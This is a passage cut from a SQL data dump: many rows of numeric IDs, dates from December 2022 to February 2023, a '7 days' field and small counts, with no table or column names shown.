days',0),(71719,17386,13311,13521,1783,975,'2022-12-16','7 days',0),(71720,17385,13311,13521,1783,975,'2022-12-16','7 days',0),(71721,17384,13311,13521,1783,975,'2022-12-16','7 days',0),(71722,17383,13311,13521,1783,975,'2022-12-16','7 days',1),(71723,17382,13311,13521,1783,975,'2022-12-16','7 days',0),(71724,15663,13311,13521,1783,975,'2022-12-16','7 days',1),(71725,21476,13295,13503,1410,975,'2022-12-16','7 days',0),(71726,21475,13295,13503,1410,975,'2022-12-16','7 days',1),(71727,20788,13295,13503,1410,975,'2022-12-16','7 days',1),(71728,18830,13295,13503,1410,975,'2022-12-16','7 days',0),(71729,17409,13295,13503,1410,975,'2022-12-16','7 days',0),(71730,21476,13291,13498,1783,975,'2022-12-16','7 days',0),(71731,21475,13291,13498,1783,975,'2022-12-16','7 days',1),(71732,20788,13291,13498,1783,975,'2022-12-16','7 days',1),(71733,18830,13291,13498,1783,975,'2022-12-16','7 days',0),(71734,17409,13291,13498,1783,975,'2022-12-16','7 days',0),(71735,17407,13291,13498,1783,975,'2022-12-16','7 days',0),(71736,17406,13291,13498,1783,975,'2022-12-16','7 days',1),(71737,21476,13290,13497,1783,975,'2022-12-16','7 days',0),(71738,17405,13290,13497,1783,975,'2022-12-16','7 days',1),(71739,17404,13290,13497,1783,975,'2022-12-16','7 days',0),(71740,17403,13290,13497,1783,975,'2022-12-16','7 days',0),(71741,17391,13290,13497,1783,975,'2022-12-16','7 days',2),(71742,17390,13290,13497,1783,975,'2022-12-16','7 days',0),(71743,12897,13304,13514,1067,326,'2022-12-16','7 days',0),(71744,12875,13304,13514,1067,326,'2022-12-16','7 days',0),(71745,9803,13304,13514,1067,326,'2022-12-16','7 days',0),(71746,20792,13264,13468,221,85,'2022-12-16','7 days',0),(71747,14051,13319,13525,1067,326,'2022-12-17','7 days',0),(71748,17546,13319,13525,1067,326,'2022-12-17','7 days',0),(71749,9797,13319,13525,1067,326,'2022-12-17','7 days',0),(71750,14051,13305,13515,1068,326,'2022-12-17','7 days',0),(71751,9803,13303,13513,1069,326,'2022-12-17','7 days',0),(71752,9802,13303,13513,1069,326,'2022-12-17','7 days',0),(71753,12897,13302,13512,1070,326,'2022-12-17','7 days',0),(71754,12875,13302,13512,1070,326,'2022-12-17','7 days',0),(71755,9805,13302,13512,1070,326,'2022-12-17','7 days',0),(71756,9109,13322,13528,357,251,'2022-12-19','7 days',0),(71757,9107,13322,13528,357,251,'2022-12-19','7 days',0),(71758,20696,13339,13544,1740,1020,'2022-12-21','7 days',0),(71759,20695,13339,13544,1740,1020,'2022-12-21','7 days',0),(71760,20696,13337,13542,1740,1020,'2022-12-21','7 days',0),(71761,20695,13337,13542,1740,1020,'2022-12-21','7 days',0),(71762,20696,13289,13496,1740,1020,'2022-12-21','7 days',0),(71763,20695,13289,13496,1740,1020,'2022-12-21','7 days',0),(71764,20696,13288,13495,1740,1020,'2022-12-21','7 days',0),(71765,20695,13288,13495,1740,1020,'2022-12-21','7 days',0),(71766,20696,13287,13494,1740,1020,'2022-12-21','7 days',0),(71767,20695,13287,13494,1740,1020,'2022-12-21','7 days',0),(71768,21463,13343,13548,1367,959,'2022-12-22','7 days',1),(71769,17213,13343,13548,1367,959,'2022-12-22','7 days',1),(71770,17211,13343,13548,1367,959,'2022-12-22','7 days',1),(71771,14071,13343,13548,1367,959,'2022-12-22','7 days',1),(71772,17215,13343,13548,1367,959,'2022-12-22','7 days',0),(71773,17209,13343,13548,1367,959,'2022-12-22','7 days',0),(71774,17208,13343,13548,1367,959,'2022-12-22','7 days',1),(71775,10393,13343,13548,1367,959,'2022-12-22','7 days',1),(71776,9796,13338,13543,1068,326,'2022-12-22','7 days',0),(71777,9111,13308,13518,359,251,'2022-12-22','7 days',1),(71778,9109,13308,13518,359,251,'2022-12-22','7 days',0),(71779,9107,13308,13518,359,251,'2022-12-22','7 days',0),(71780,9936,13309,13519,358,251,'2022-12-22','7 days',0),(71781,9032,13309,13519,358,251,'2022-12-22','7 days',0),(71782,9031,13309,13519,358,251,'2022-12-22','7 days',0),(71783,9028,13309,13519,358,251,'2022-12-22','7 days',0),(71784,5407,13320,13526,357,251,'2022-12-22','7 days',0),(71785,5406,13320,13526,357,251,'2022-12-22','7 days',0),(71786,4271,13320,13526,357,251,'2022-12-22','7 days',0),(71787,4270,13320,13526,357,251,'2022-12-22','7 days',0),(71788,3255,13320,13526,357,251,'2022-12-22','7 days',0),(71789,9117,13340,13545,358,251,'2022-12-22','7 days',0),(71790,9116,13340,13545,358,251,'2022-12-22','7 days',0),(71791,9115,13340,13545,358,251,'2022-12-22','7 days',0),(71792,9113,13340,13545,358,251,'2022-12-22','7 days',0),(71793,9053,13340,13545,358,251,'2022-12-22','7 days',0),(71794,21476,13331,13536,1783,975,'2022-12-22','7 days',0),(71795,21475,13331,13536,1783,975,'2022-12-22','7 days',1),(71796,20788,13331,13536,1783,975,'2022-12-22','7 days',1),(71797,18830,13331,13536,1783,975,'2022-12-22','7 days',0),(71798,17409,13331,13536,1783,975,'2022-12-22','7 days',1),(71799,17403,13336,13541,1410,975,'2022-12-22','7 days',0),(71800,17391,13336,13541,1410,975,'2022-12-22','7 days',0),(71801,17390,13336,13541,1410,975,'2022-12-22','7 days',0),(71802,17389,13336,13541,1410,975,'2022-12-22','7 days',0),(71803,17388,13336,13541,1410,975,'2022-12-22','7 days',0),(71804,14534,13255,13031,194,45,'2022-12-23','7 days',1),(71805,12532,13255,13031,194,45,'2022-12-23','7 days',1),(71806,11715,13255,13031,194,45,'2022-12-23','7 days',1),(71807,21476,13357,13556,1779,975,'2023-01-02','7 days',0),(71808,21475,13357,13556,1779,975,'2023-01-02','7 days',1),(71809,18830,13357,13556,1779,975,'2023-01-02','7 days',0),(71810,17408,13357,13556,1779,975,'2023-01-02','7 days',0),(71811,17407,13357,13556,1779,975,'2023-01-02','7 days',0),(71812,17406,13357,13556,1779,975,'2023-01-02','7 days',1),(71813,17405,13357,13556,1779,975,'2023-01-02','7 days',1),(71814,17404,13357,13556,1779,975,'2023-01-02','7 days',0),(71815,9154,13351,13554,1781,91,'2023-01-02','7 days',1),(71816,9135,13351,13554,1781,91,'2023-01-02','7 days',1),(71817,9134,13351,13554,1781,91,'2023-01-02','7 days',1),(71818,9133,13351,13554,1781,91,'2023-01-02','7 days',1),(71819,7287,13351,13554,1781,91,'2023-01-02','7 days',1),(71820,7286,13351,13554,1781,91,'2023-01-02','7 days',1),(71821,9154,13354,13554,1705,91,'2023-01-02','7 days',1),(71822,9135,13354,13554,1705,91,'2023-01-02','7 days',1),(71823,9134,13354,13554,1705,91,'2023-01-02','7 days',1),(71824,9133,13354,13554,1705,91,'2023-01-02','7 days',1),(71825,7287,13354,13554,1705,91,'2023-01-02','7 days',1),(71826,7286,13354,13554,1705,91,'2023-01-02','7 days',1),(71827,17387,13357,13556,1779,975,'2023-01-03','7 days',0),(71828,17386,13357,13556,1779,975,'2023-01-03','7 days',0),(71829,17385,13357,13556,1779,975,'2023-01-03','7 days',0),(71830,17384,13357,13556,1779,975,'2023-01-03','7 days',0),(71831,17383,13357,13556,1779,975,'2023-01-03','7 days',1),(71832,17382,13357,13556,1779,975,'2023-01-03','7 days',0),(71833,15663,13357,13556,1779,975,'2023-01-03','7 days',1),(71834,9009,13352,13555,160,73,'2023-01-04','7 days',1),(71835,9008,13352,13555,160,73,'2023-01-04','7 days',0),(71836,665,13352,13555,160,73,'2023-01-04','7 days',0),(71837,662,13352,13555,160,73,'2023-01-04','7 days',0),(71838,633,13352,13555,160,73,'2023-01-04','7 days',0),(71839,21476,13398,13592,1410,975,'2023-01-11','7 days',0),(71840,21475,13398,13592,1410,975,'2023-01-11','7 days',1),(71841,20788,13398,13592,1410,975,'2023-01-11','7 days',1),(71842,18830,13398,13592,1410,975,'2023-01-11','7 days',0),(71843,17409,13398,13592,1410,975,'2023-01-11','7 days',1),(71844,17408,13398,13592,1410,975,'2023-01-11','7 days',0),(71845,17407,13398,13592,1410,975,'2023-01-11','7 days',0),(71846,21476,13400,13594,1779,975,'2023-01-11','7 days',0),(71847,21475,13400,13594,1779,975,'2023-01-11','7 days',1),(71848,20788,13400,13594,1779,975,'2023-01-11','7 days',1),(71849,18830,13400,13594,1779,975,'2023-01-11','7 days',0),(71850,17409,13400,13594,1779,975,'2023-01-11','7 days',0),(71851,17408,13400,13594,1779,975,'2023-01-11','7 days',0),(71852,17407,13400,13594,1779,975,'2023-01-11','7 days',0),(71853,17406,13400,13594,1779,975,'2023-01-11','7 days',1),(71854,21476,13401,13595,1783,975,'2023-01-11','7 days',0),(71855,21475,13401,13595,1783,975,'2023-01-11','7 days',1),(71856,20788,13401,13595,1783,975,'2023-01-11','7 days',1),(71857,18830,13401,13595,1783,975,'2023-01-11','7 days',0),(71858,17409,13401,13595,1783,975,'2023-01-11','7 days',0),(71859,17408,13401,13595,1783,975,'2023-01-11','7 days',0),(71860,17407,13401,13595,1783,975,'2023-01-11','7 days',0),(71861,9154,13399,13593,1011,91,'2023-01-12','7 days',1),(71862,9135,13399,13593,1011,91,'2023-01-12','7 days',1),(71863,9134,13399,13593,1011,91,'2023-01-12','7 days',1),(71864,9133,13399,13593,1011,91,'2023-01-12','7 days',1),(71865,7287,13399,13593,1011,91,'2023-01-12','7 days',1),(71866,7286,13399,13593,1011,91,'2023-01-12','7 days',1),(71867,12274,13397,13591,1011,91,'2023-01-12','7 days',1),(71868,12273,13397,13591,1011,91,'2023-01-12','7 days',1),(71869,12264,13397,13591,1011,91,'2023-01-12','7 days',1),(71870,12263,13397,13591,1011,91,'2023-01-12','7 days',1),(71871,21374,13360,13031,194,45,'2023-01-12','7 days',1),(71872,14534,13360,13031,194,45,'2023-01-12','7 days',1),(71873,12532,13360,13031,194,45,'2023-01-12','7 days',1),(71874,12531,13360,13031,194,45,'2023-01-12','7 days',1),(71875,4512,13391,5507,633,639,'2023-01-13','7 days',1),(71876,4494,13391,5507,633,639,'2023-01-13','7 days',1),(71877,4487,13391,5507,633,639,'2023-01-13','7 days',0),(71878,4483,13391,5507,633,639,'2023-01-13','7 days',0),(71879,4477,13391,5507,633,639,'2023-01-13','7 days',0),(71880,4473,13391,5507,633,639,'2023-01-13','7 days',2),(71881,4452,13392,2076,633,639,'2023-01-17','7 days',1),(71882,4512,13392,2076,633,639,'2023-01-17','7 days',1),(71883,4494,13392,2076,633,639,'2023-01-17','7 days',1),(71884,18592,13395,13573,194,45,'2023-01-17','7 days',1),(71885,11845,13395,13573,194,45,'2023-01-17','7 days',1),(71886,11578,13395,13573,194,45,'2023-01-17','7 days',1),(71887,4487,13392,2076,633,639,'2023-01-17','7 days',2),(71888,4483,13392,2076,633,639,'2023-01-17','7 days',0),(71889,4477,13392,2076,633,639,'2023-01-17','7 days',0),(71890,4473,13392,2076,633,639,'2023-01-17','7 days',0),(71891,11577,13395,13573,194,45,'2023-01-17','7 days',1),(71892,4512,13402,12803,634,639,'2023-01-17','7 days',1),(71893,4494,13402,12803,634,639,'2023-01-17','7 days',1),(71894,4487,13402,12803,634,639,'2023-01-17','7 days',0),(71895,4483,13402,12803,634,639,'2023-01-17','7 days',0),(71896,4477,13402,12803,634,639,'2023-01-17','7 days',0),(71897,4473,13402,12803,634,639,'2023-01-17','7 days',0),(71898,9154,13407,13598,1011,91,'2023-01-17','7 days',1),(71899,9135,13407,13598,1011,91,'2023-01-17','7 days',1),(71900,9134,13407,13598,1011,91,'2023-01-17','7 days',1),(71901,9133,13407,13598,1011,91,'2023-01-17','7 days',1),(71902,7287,13407,13598,1011,91,'2023-01-17','7 days',1),(71903,7286,13407,13598,1011,91,'2023-01-17','7 days',1),(71904,21476,13422,13612,1783,975,'2023-01-20','7 days',0),(71905,21475,13422,13612,1783,975,'2023-01-20','7 days',1),(71906,20788,13422,13612,1783,975,'2023-01-20','7 days',1),(71907,18830,13422,13612,1783,975,'2023-01-20','7 days',0),(71908,17409,13422,13612,1783,975,'2023-01-20','7 days',1),(71909,17408,13422,13612,1783,975,'2023-01-20','7 days',0),(71910,17407,13422,13612,1783,975,'2023-01-20','7 days',0),(71911,17406,13422,13612,1783,975,'2023-01-20','7 days',1),(71912,17405,13422,13612,1783,975,'2023-01-20','7 days',1),(71913,17404,13422,13612,1783,975,'2023-01-20','7 days',0),(71914,17403,13422,13612,1783,975,'2023-01-20','7 days',0),(71915,17391,13422,13612,1783,975,'2023-01-20','7 days',2),(71916,17390,13422,13612,1783,975,'2023-01-20','7 days',0),(71917,17389,13422,13612,1783,975,'2023-01-20','7 days',0),(71918,17388,13422,13612,1783,975,'2023-01-20','7 days',0),(71919,17387,13422,13612,1783,975,'2023-01-20','7 days',0),(71920,17386,13422,13612,1783,975,'2023-01-20','7 days',0),(71921,17385,13422,13612,1783,975,'2023-01-20','7 days',0),(71922,17384,13422,13612,1783,975,'2023-01-20','7 days',0),(71923,17383,13422,13612,1783,975,'2023-01-20','7 days',1),(71924,17382,13422,13612,1783,975,'2023-01-20','7 days',0),(71925,15663,13422,13612,1783,975,'2023-01-20','7 days',1),(71926,9159,13431,13616,1452,91,'2023-01-21','7 days',1),(71927,19642,13432,13617,1370,667,'2023-01-21','7 days',0),(71928,9155,13431,13616,1452,91,'2023-01-21','7 days',1),(71929,19641,13432,13617,1370,667,'2023-01-21','7 days',0),(71930,7213,13431,13616,1452,91,'2023-01-21','7 days',1),(71931,19640,13432,13617,1370,667,'2023-01-21','7 days',0),(71932,7212,13431,13616,1452,91,'2023-01-21','7 days',1),(71933,19639,13432,13617,1370,667,'2023-01-21','7 days',0),(71934,19638,13432,13617,1370,667,'2023-01-21','7 days',1),(71935,19637,13432,13617,1370,667,'2023-01-21','7 days',0),(71936,19636,13432,13617,1370,667,'2023-01-21','7 days',2),(71937,19635,13432,13617,1370,667,'2023-01-21','7 days',0),(71938,19634,13432,13617,1370,667,'2023-01-21','7 days',0),(71939,19633,13432,13617,1370,667,'2023-01-21','7 days',0),(71940,19632,13432,13617,1370,667,'2023-01-21','7 days',0),(71941,19631,13432,13617,1370,667,'2023-01-21','7 days',0),(71942,19630,13432,13617,1370,667,'2023-01-21','7 days',0),(71943,19629,13432,13617,1370,667,'2023-01-21','7 days',0),(71944,19628,13432,13617,1370,667,'2023-01-21','7 days',0),(71945,19627,13432,13617,1370,667,'2023-01-21','7 days',0),(71946,19626,13432,13617,1370,667,'2023-01-21','7 days',0),(71947,19625,13432,13617,1370,667,'2023-01-21','7 days',0),(71948,19624,13432,13617,1370,667,'2023-01-21','7 days',0),(71949,19623,13432,13617,1370,667,'2023-01-21','7 days',0),(71950,19622,13432,13617,1370,667,'2023-01-21','7 days',0),(71951,19621,13432,13617,1370,667,'2023-01-21','7 days',0),(71952,19620,13432,13617,1370,667,'2023-01-21','7 days',0),(71953,19619,13432,13617,1370,667,'2023-01-21','7 days',0),(71954,19618,13432,13617,1370,667,'2023-01-21','7 days',0),(71955,19617,13432,13617,1370,667,'2023-01-21','7 days',0),(71956,19616,13432,13617,1370,667,'2023-01-21','7 days',0),(71957,9154,13430,13590,1452,91,'2023-01-21','7 days',1),(71958,19615,13432,13617,1370,667,'2023-01-21','7 days',0),(71959,9135,13430,13590,1452,91,'2023-01-21','7 days',1),(71960,19614,13432,13617,1370,667,'2023-01-21','7 days',0),(71961,9134,13430,13590,1452,91,'2023-01-21','7 days',1),(71962,19613,13432,13617,1370,667,'2023-01-21','7 days',0),(71963,9133,13430,13590,1452,91,'2023-01-21','7 days',1),(71964,19612,13432,13617,1370,667,'2023-01-21','7 days',0),(71965,7287,13430,13590,1452,91,'2023-01-21','7 days',1),(71966,19611,13432,13617,1370,667,'2023-01-21','7 days',2),(71967,7286,13430,13590,1452,91,'2023-01-21','7 days',1),(71968,19610,13432,13617,1370,667,'2023-01-21','7 days',0),(71969,19609,13432,13617,1370,667,'2023-01-21','7 days',0),(71970,19608,13432,13617,1370,667,'2023-01-21','7 days',0),(71971,19607,13432,13617,1370,667,'2023-01-21','7 days',0),(71972,19606,13432,13617,1370,667,'2023-01-21','7 days',0),(71973,19605,13432,13617,1370,667,'2023-01-21','7 days',0),(71974,19604,13432,13617,1370,667,'2023-01-21','7 days',0),(71975,19603,13432,13617,1370,667,'2023-01-21','7 days',0),(71976,9154,13429,13615,1452,91,'2023-01-21','7 days',1),(71977,9135,13429,13615,1452,91,'2023-01-21','7 days',1),(71978,9134,13429,13615,1452,91,'2023-01-21','7 days',1),(71979,9133,13429,13615,1452,91,'2023-01-21','7 days',1),(71980,7287,13429,13615,1452,91,'2023-01-21','7 days',1),(71981,7286,13429,13615,1452,91,'2023-01-21','7 days',1),(71982,9154,13428,13614,1705,91,'2023-01-21','7 days',1),(71983,9135,13428,13614,1705,91,'2023-01-21','7 days',1),(71984,9134,13428,13614,1705,91,'2023-01-21','7 days',1),(71985,9133,13428,13614,1705,91,'2023-01-21','7 days',1),(71986,7287,13428,13614,1705,91,'2023-01-21','7 days',1),(71987,7286,13428,13614,1705,91,'2023-01-21','7 days',1),(71988,12274,13406,13597,1012,91,'2023-01-21','7 days',1),(71989,12273,13406,13597,1012,91,'2023-01-21','7 days',1),(71990,12264,13406,13597,1012,91,'2023-01-21','7 days',1),(71991,12263,13406,13597,1012,91,'2023-01-21','7 days',1),(71992,17214,13436,13618,1787,959,'2023-01-25','7 days',0),(71993,10251,13436,13618,1787,959,'2023-01-25','7 days',2),(71994,10212,13436,13618,1787,959,'2023-01-25','7 days',0),(71995,10211,13436,13618,1787,959,'2023-01-25','7 days',0),(71996,15396,13447,13626,1370,667,'2023-01-27','7 days',0),(71997,15187,13447,13626,1370,667,'2023-01-27','7 days',0),(71998,15186,13447,13626,1370,667,'2023-01-27','7 days',1),(71999,15185,13447,13626,1370,667,'2023-01-27','7 days',0),(72000,15184,13447,13626,1370,667,'2023-01-27','7 days',0),(72001,11356,13448,13627,1456,667,'2023-01-27','7 days',0),(72002,11355,13448,13627,1456,667,'2023-01-27','7 days',1),(72003,11354,13448,13627,1456,667,'2023-01-27','7 days',0),(72004,11353,13448,13627,1456,667,'2023-01-27','7 days',1),(72005,11352,13448,13627,1456,667,'2023-01-27','7 days',0),(72006,11351,13448,13627,1456,667,'2023-01-27','7 days',0),(72007,21547,13431,13616,1452,91,'2023-01-27','7 days',1),(72008,11356,13446,13625,1456,667,'2023-01-27','7 days',0),(72009,11355,13446,13625,1456,667,'2023-01-27','7 days',1),(72010,11354,13446,13625,1456,667,'2023-01-27','7 days',0),(72011,11353,13446,13625,1456,667,'2023-01-27','7 days',1),(72012,11352,13446,13625,1456,667,'2023-01-27','7 days',0),(72013,11351,13446,13625,1456,667,'2023-01-27','7 days',0),(72014,16336,13445,13624,1370,667,'2023-01-27','7 days',0),(72015,16335,13445,13624,1370,667,'2023-01-27','7 days',0),(72016,16334,13445,13624,1370,667,'2023-01-27','7 days',0),(72017,16333,13445,13624,1370,667,'2023-01-27','7 days',0),(72018,16332,13445,13624,1370,667,'2023-01-27','7 days',1),(72019,16331,13445,13624,1370,667,'2023-01-27','7 days',0),(72020,16317,13445,13624,1370,667,'2023-01-27','7 days',0),(72021,17213,13436,13618,1787,959,'2023-01-28','7 days',1),(72022,17211,13436,13618,1787,959,'2023-01-28','7 days',1),(72023,14071,13436,13618,1787,959,'2023-01-28','7 days',0),(72024,17206,13436,13618,1787,959,'2023-01-28','7 days',0),(72025,21555,13438,13619,188,45,'2023-01-28','7 days',1),(72026,21554,13438,13619,188,45,'2023-01-28','7 days',0),(72027,21553,13438,13619,188,45,'2023-01-28','7 days',0),(72028,21552,13438,13619,188,45,'2023-01-28','7 days',0),(72029,21551,13438,13619,188,45,'2023-01-28','7 days',0),(72030,21550,13438,13619,188,45,'2023-01-28','7 days',1),(72031,21549,13438,13619,188,45,'2023-01-28','7 days',0),(72032,17212,13461,13640,1787,959,'2023-01-31','7 days',1),(72033,17204,13461,13640,1787,959,'2023-01-31','7 days',1),(72034,15747,13461,13640,1787,959,'2023-01-31','7 days',0),(72035,17214,13459,13638,1324,959,'2023-01-31','7 days',0),(72036,10251,13459,13638,1324,959,'2023-01-31','7 days',2),(72037,10212,13459,13638,1324,959,'2023-01-31','7 days',0),(72038,10211,13459,13638,1324,959,'2023-01-31','7 days',0),(72039,17213,13453,13632,1324,959,'2023-01-31','7 days',0),(72040,17211,13453,13632,1324,959,'2023-01-31','7 days',1),(72041,14071,13453,13632,1324,959,'2023-01-31','7 days',0),(72042,21546,13452,13631,1324,959,'2023-01-31','7 days',0),(72043,21545,13452,13631,1324,959,'2023-01-31','7 days',0),(72044,17215,13452,13631,1324,959,'2023-01-31','7 days',0),(72045,17209,13452,13631,1324,959,'2023-01-31','7 days',0),(72046,17208,13452,13631,1324,959,'2023-01-31','7 days',0),(72047,10393,13452,13631,1324,959,'2023-01-31','7 days',0),(72048,4510,13442,11512,1708,639,'2023-01-31','7 days',0),(72049,4506,13442,11512,1708,639,'2023-01-31','7 days',0),(72050,4512,13442,11512,1708,639,'2023-01-31','7 days',1),(72051,4494,13442,11512,1708,639,'2023-01-31','7 days',1),(72052,4487,13442,11512,1708,639,'2023-01-31','7 days',0),(72053,4483,13442,11512,1708,639,'2023-01-31','7 days',0),(72054,4477,13442,11512,1708,639,'2023-01-31','7 days',0),(72055,4473,13442,11512,1708,639,'2023-01-31','7 days',0),(72056,4452,13442,11512,1708,639,'2023-01-31','7 days',1),(72057,21530,13442,11512,1708,639,'2023-01-31','7 days',0),(72058,17489,13442,11512,1708,639,'2023-01-31','7 days',0),(72059,17451,13442,11512,1708,639,'2023-01-31','7 days',0),(72060,4516,13442,11512,1708,639,'2023-01-31','7 days',0),(72061,4514,13442,11512,1708,639,'2023-01-31','7 days',0),(72062,4499,13442,11512,1708,639,'2023-01-31','7 days',0),(72063,4467,13442,11512,1708,639,'2023-01-31','7 days',0),(72064,4460,13442,11512,1708,639,'2023-01-31','7 days',2),(72065,8796,13442,11512,1708,639,'2023-01-31','7 days',0),(72066,4502,13442,11512,1708,639,'2023-01-31','7 days',0),(72067,21564,13451,13630,194,45,'2023-01-31','7 days',1),(72068,21563,13451,13630,194,45,'2023-01-31','7 days',0),(72069,21562,13451,13630,194,45,'2023-01-31','7 days',0),(72070,21561,13451,13630,194,45,'2023-01-31','7 days',0),(72071,21560,13451,13630,194,45,'2023-01-31','7 days',0),(72072,21559,13451,13630,194,45,'2023-01-31','7 days',0),(72073,21558,13451,13630,194,45,'2023-01-31','7 days',0),(72074,9159,13463,9338,1011,91,'2023-01-31','7 days',1),(72075,9155,13463,9338,1011,91,'2023-01-31','7 days',1),(72076,7213,13463,9338,1011,91,'2023-01-31','7 days',1),(72077,7212,13463,9338,1011,91,'2023-01-31','7 days',1),(72078,15660,13460,13639,1456,667,'2023-01-31','7 days',1),(72079,15659,13460,13639,1456,667,'2023-01-31','7 days',0),(72080,15658,13460,13639,1456,667,'2023-01-31','7 days',0),(72081,15652,13460,13639,1456,667,'2023-01-31','7 days',0),(72082,15651,13460,13639,1456,667,'2023-01-31','7 days',0),(72083,15650,13460,13639,1456,667,'2023-01-31','7 days',0),(72084,15647,13460,13639,1456,667,'2023-01-31','7 days',0),(72085,15436,13460,13639,1456,667,'2023-01-31','7 days',0),(72086,15435,13460,13639,1456,667,'2023-01-31','7 days',0),(72087,15434,13460,13639,1456,667,'2023-01-31','7 days',0),(72088,14828,13460,13639,1456,667,'2023-01-31','7 days',0),(72089,14827,13460,13639,1456,667,'2023-01-31','7 days',0),(72090,14826,13460,13639,1456,667,'2023-01-31','7 days',0),(72091,14825,13460,13639,1456,667,'2023-01-31','7 days',0),(72092,14771,13460,13639,1456,667,'2023-01-31','7 days',0),(72093,14770,13460,13639,1456,667,'2023-01-31','7 days',0),(72094,14769,13460,13639,1456,667,'2023-01-31','7 days',0),(72095,14768,13460,13639,1456,667,'2023-01-31','7 days',0),(72096,664,13469,13647,162,73,'2023-02-01','7 days',0),(72097,663,13469,13647,162,73,'2023-02-01','7 days',0),(72098,658,13469,13647,162,73,'2023-02-01','7 days',0),(72099,9009,13469,13647,162,73,'2023-02-01','7 days',1),(72100,9008,13469,13647,162,73,'2023-02-01','7 days',0),(72101,665,13469,13647,162,73,'2023-02-01','7 days',0),(72102,662,13469,13647,162,73,'2023-02-01','7 days',0),(72103,633,13469,13647,162,73,'2023-02-01','7 days',0),(72104,21395,13416,13606,1668,277,'2023-02-01','7 days',1),(72105,21366,13416,13606,1668,277,'2023-02-01','7 days',0),(72106,20671,13416,13606,1668,277,'2023-02-01','7 days',0),(72107,20414,13416,13606,1668,277,'2023-02-01','7 days',0),(72108,20413,13416,13606,1668,277,'2023-02-01','7 days',0),(72109,20412,13416,13606,1668,277,'2023-02-01','7 days',0),(72110,20411,13416,13606,1668,277,'2023-02-01','7 days',0),(72111,20410,13416,13606,1668,277,'2023-02-01','7 days',0),(72112,17682,13439,13620,1668,277,'2023-02-01','7 days',1),(72113,17681,13439,13620,1668,277,'2023-02-01','7 days',0),(72114,17682,13416,13606,1668,277,'2023-02-01','7 days',1),(72115,17681,13416,13606,1668,277,'2023-02-01','7 days',0),(72116,17682,13440,13621,1669,277,'2023-02-01','7 days',1),(72117,17682,13441,13622,1789,277,'2023-02-01','7 days',1),(72118,645,13469,13647,162,73,'2023-02-01','7 days',0),(72119,21377,13469,13647,162,73,'2023-02-01','7 days',0),(72120,21529,13469,13647,162,73,'2023-02-01','7 days',1),(72121,8782,13469,13647,162,73,'2023-02-01','7 days',0),(72122,21378,13469,13647,162,73,'2023-02-01','7 days',1),(72123,17681,13440,13621,1669,277,'2023-02-03','7 days',0),(72124,21565,13476,13653,1790,981,'2023-02-06','7 days',0),(72125,21565,13475,13652,1790,981,'2023-02-06','7 days',0),(72126,21565,13474,13651,1790,981,'2023-02-06','7 days',0),(72127,21565,13473,13650,1790,981,'2023-02-06','7 days',0),(72128,21565,13472,13649,1790,981,'2023-02-06','7 days',0),(72129,20696,13458,13637,1740,1020,'2023-02-06','7 days',0),(72130,20695,13458,13637,1740,1020,'2023-02-06','7 days',0),(72131,20696,13457,13636,1740,1020,'2023-02-06','7 days',0),(72132,20695,13457,13636,1740,1020,'2023-02-06','7 days',0),(72133,20696,13456,13635,1740,1020,'2023-02-06','7 days',0),(72134,20695,13456,13635,1740,1020,'2023-02-06','7 days',0),(72135,20696,13455,13634,1740,1020,'2023-02-06','7 days',0),(72136,20695,13455,13634,1740,1020,'2023-02-06','7 days',0),(72137,20696,13454,13633,1740,1020,'2023-02-06','7 days',0),(72138,20695,13454,13633,1740,1020,'2023-02-06','7 days',0),(72139,16861,13482,13659,357,251,'2023-02-08','7 days',0),(72140,16776,13482,13659,357,251,'2023-02-08','7 days',0),(72141,16771,13482,13659,357,251,'2023-02-08','7 days',0),(72142,16715,13482,13659,357,251,'2023-02-08','7 days',0),(72143,16700,13482,13659,357,251,'2023-02-08','7 days',0),(72144,16696,13482,13659,357,251,'2023-02-08','7 days',0),(72145,9934,13482,13659,357,251,'2023-02-09','7 days',0),(72146,9032,13482,13659,357,251,'2023-02-09','7 days',0),(72147,9026,13482,13659,357,251,'2023-02-09','7 days',0),(72148,6888,13482,13659,357,251,'2023-02-09','7 days',0),(72149,20671,13441,13622,1789,277,'2023-02-09','7 days',0),(72150,20414,13441,13622,1789,277,'2023-02-09','7 days',0),(72151,20438,13441,13622,1789,277,'2023-02-09','7 days',0),(72152,20437,13441,13622,1789,277,'2023-02-09','7 days',0),(72153,20438,13440,13621,1669,277,'2023-02-09','7 days',0),(72154,20437,13440,13621,1669,277,'2023-02-09','7 days',0),(72155,20438,13439,13620,1668,277,'2023-02-09','7 days',0),(72156,20437,13439,13620,1668,277,'2023-02-09','7 days',0),(72157,21375,13462,13641,1780,971,'2023-02-09','7 days',0),(72158,16277,13462,13641,1780,971,'2023-02-09','7 days',0),(72159,16276,13462,13641,1780,971,'2023-02-09','7 days',0),(72160,16139,13462,13641,1780,971,'2023-02-09','7 days',1),(72161,12739,13462,13641,1780,971,'2023-02-09','7 days',0),(72162,11698,13462,13641,1780,971,'2023-02-09','7 days',0),(72163,11456,13462,13641,1780,971,'2023-02-09','7 days',0),(72164,11126,13462,13641,1780,971,'2023-02-09','7 days',1),(72165,10978,13462,13641,1780,971,'2023-02-09','7 days',1),(72166,10967,13462,13641,1780,971,'2023-02-09','7 days',0),(72167,10966,13462,13641,1780,971,'2023-02-09','7 days',0),(72168,10965,13462,13641,1780,971,'2023-02-09','7 days',0),(72169,10964,13462,13641,1780,971,'2023-02-09','7 days',0),(72170,10963,13462,13641,1780,971,'2023-02-09','7 days',0),(72171,9111,13481,13658,357,251,'2023-02-09','7 days',1),(72172,9110,13481,13658,357,251,'2023-02-09','7 days',0),(72173,9109,13481,13658,357,251,'2023-02-09','7 days',0),(72174,9108,13481,13658,357,251,'2023-02-09','7 days',0),(72175,9107,13481,13658,357,251,'2023-02-09','7 days',0),(72176,18259,13481,13658,357,251,'2023-02-09','7 days',0),(72177,10010,13480,13657,359,251,'2023-02-09','7 days',0),(72178,10007,13480,13657,359,251,'2023-02-09','7 days',0),(72179,10006,13480,13657,359,251,'2023-02-09','7 days',0),(72180,9930,13480,13657,359,251,'2023-02-09','7 days',0),(72181,9117,13479,13656,357,251,'2023-02-09','7 days',0),(72182,9113,13479,13656,357,251,'2023-02-09','7 days',0),(72183,9049,13479,13656,357,251,'2023-02-09','7 days',2),(72184,9035,13479,13656,357,251,'2023-02-09','7 days',0),(72185,5408,13478,13655,359,251,'2023-02-09','7 days',0),(72186,4274,13478,13655,359,251,'2023-02-09','7 days',0),(72187,3258,13478,13655,359,251,'2023-02-09','7 days',0),(72188,17074,13491,13668,1370,667,'2023-02-10','7 days',0),(72189,15399,13491,13668,1370,667,'2023-02-10','7 